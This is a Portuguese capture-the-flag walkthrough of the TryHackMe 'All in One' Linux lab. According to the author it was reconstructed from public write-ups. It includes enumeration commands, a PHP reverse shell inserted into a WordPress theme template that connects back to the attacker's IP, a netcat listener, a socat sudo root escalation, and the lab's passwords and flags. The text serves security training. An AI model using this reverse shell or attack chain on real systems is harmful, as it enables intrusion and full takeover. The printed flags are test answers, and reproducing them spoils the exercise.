All in One

Offensive Security Write-up

Autor: Gabriel de Vargas

Data: 1º de novembro de 2026

Sinopse

A sala **All in One**, da plataforma TryHackMe, é um laboratório Linux de dificuldade fácil que explora diferentes caminhos de acesso inicial e escalação de privilégios. Este write-up documenta a rota encontrada em fontes públicas: enumeração de FTP, SSH e HTTP; descoberta do diretório **/hackathons**; decodificação de uma credencial por cifra de Vigenère; acesso administrativo ao WordPress; obtenção de shell como **www-data**; descoberta da senha de **elyana** em um arquivo local; e escalação para root por meio de uma permissão sudo indevida para **socat**. A sala também possui rotas alternativas, descritas ao final.

Nota de transparência: como não foi fornecido o histórico da execução de 1º de novembro, a sequência abaixo foi reconstruída a partir de write-ups públicos da mesma sala. Endereços IP, banners e alguns detalhes podem variar entre instâncias; substitua **<IP_DO_ALVO>** e **<SEU_IP_VPN>** pelos valores da sua sessão.

1 Reconhecimento e enumeração

A primeira etapa consiste em mapear as portas e os serviços expostos pelo alvo. Os write-ups consultados identificam três serviços principais: FTP na porta 21, SSH na porta 22 e HTTP na porta 80. Um scan completo pode ser executado com:

```
$ nmap -sC -sV -p- <IP_DO_ALVO>
```

Em versões frequentemente observadas da máquina, os serviços aparecem como **vsftpd 3.0.3**, **OpenSSH 7.6p1** e **Apache 2.4.29 (Ubuntu)**. O FTP permite autenticação anônima, mas a listagem inicial costuma estar vazia; por isso, a investigação avança para o serviço HTTP.

```
$ ftp <IP_DO_ALVO>
Name: anonymous
ftp> ls -la
ftp> bye
```

A enumeração de diretórios na raiz do site revela, entre outros resultados, os caminhos **/wordpress** e **/hackathons**.

```
$ gobuster dir -u http://<IP_DO_ALVO>/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

O diretório **/wordpress** hospeda a aplicação WordPress. Já **/hackathons** apresenta uma mensagem sobre o cheiro de vinagre; a inspeção do código-fonte é importante porque os comentários HTML contêm uma string cifrada e uma possível chave.

```
<!-- Dvc W@iyur@123 -->
<!-- KeepGoing -->
```

2 Credenciais e acesso ao WordPress

A referência ao vinagre é uma pista para a cifra de Vigenère. Utilizando **KeepGoing** como chave para decifrar **Dvc W@iyur@123**, obtém-se a frase **Try H@ckme@123**. Nesse contexto, “Try” funciona como instrução; a senha utilizada no login é **H@ckme@123**. O nome de usuário **elyana** é identificado na aplicação WordPress.

```
Usuário: elyana
Senha: H@ckme@123
URL: http://<IP_DO_ALVO>/wordpress/wp-login.php
```

Com a sessão administrativa, o editor de temas do WordPress permite alterar o template **404.php** do tema Twenty Twenty. A alteração é utilizada para inserir um PHP reverse shell, apontando para o endereço da interface VPN da máquina atacante e para uma porta de escuta definida pelo operador.

```
Listener na máquina atacante:
$ nc -lvnp 4444

No template 404.php (valores ilustrativos):
<?php
$ip = '<SEU_IP_VPN>';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i',
  array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>
```

Após salvar o template, uma requisição a uma página inexistente do WordPress aciona o código e devolve a conexão ao listener. O resultado descrito nas fontes é uma shell reversa com o usuário de serviço **www-data**. Para melhorar a interação, pode-se iniciar um pseudo-terminal com Python.

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@target:/$ whoami
www-data
```

3 Descoberta da senha de Elyana e user flag

Depois de obter acesso como **www-data**, a enumeração do diretório **/home/elyana** revela um arquivo de dica. O texto informa que a senha de Elyana está escondida no sistema. A busca por arquivos pertencentes ao usuário identifica um arquivo relevante em **/etc/mysql/conf.d/private.txt**.

```
www-data@target:/$ cat /home/elyana/hint.txt
Elyana's user password is hidden in the system. Find it ;)

www-data@target:/$ find / -user elyana -type f 2>/dev/null
```

A leitura do arquivo **private.txt** revela as credenciais locais de Elyana. Uma das referências consultadas registra a seguinte senha para a instância:

```
$ cat /etc/mysql/conf.d/private.txt
user: elyana
password: E@syR18ght
```

Com a senha encontrada, o usuário atual pode trocar para **elyana** e acessar o arquivo **user.txt**. O conteúdo está codificado em Base64; portanto, é necessário decodificá-lo para obter a flag em seu formato legível.

```
$ su elyana
elyana$ cat /home/elyana/user.txt
elyana$ cat /home/elyana/user.txt | base64 -d
```

User flag: `THM{49jg666alb5e76shrusn49jg666alb5e76shrusn}`

4 Escalação de privilégios para root

Como usuário **elyana**, a verificação das permissões de sudo mostra que o binário **/usr/bin/socat** pode ser executado como qualquer usuário, sem senha. Essa configuração permite iniciar um shell com privilégios de root.

```
elyana@target:~$ sudo -l
User elyana may run the following commands:
    (ALL) NOPASSWD: /usr/bin/socat
```

A técnica de abuso documentada nos write-ups utiliza o próprio socat para executar **/bin/sh** com pseudo-terminal e controle de TTY.

```
$ sudo /usr/bin/socat - exec:/bin/sh,pty,ctty,raw,echo=0
# whoami
root
# cat /root/root.txt | base64 -d
```

Root flag: `THM{uem2wigbuem2wigb68sn2j1ospi868sn2j1ospi8}`

5 Rotas alternativas documentadas

A sala permite outras cadeias além da rota principal apresentada. Entre as alternativas descritas publicamente estão: (1) explorar a vulnerabilidade LFI do plugin **Mail-Masta** para ler arquivos locais e obter o conteúdo de **wp-config.php** com o filtro PHP Base64; (2) obter shell por alteração de arquivos PHP do plugin **Reflex Gallery**; e (3) alcançar root diretamente a partir de **www-data** por configurações inseguras, como um script executado periodicamente pelo cron e gravável por usuários comuns, ou um binário Bash com bit SUID. Essas alternativas não são etapas necessárias da rota principal e não devem ser confundidas com o caminho documentado acima.

Conclusão

A máquina **All in One** demonstra como pequenas falhas de configuração podem ser encadeadas para comprometer um sistema Linux: exposição de informações no código-fonte, credenciais recuperáveis por uma cifra simples, administração de WordPress com capacidade de editar código, arquivos locais contendo senhas e permissões sudo excessivas. A rota principal estudada parte do diretório **/hackathons**, obtém acesso ao WordPress e chega a root pelo uso privilegiado de **socat**. O laboratório também reforça a importância de restringir o FTP anônimo, proteger segredos fora da árvore pública, manter plugins atualizados e revisar permissões de sudo e de tarefas agendadas.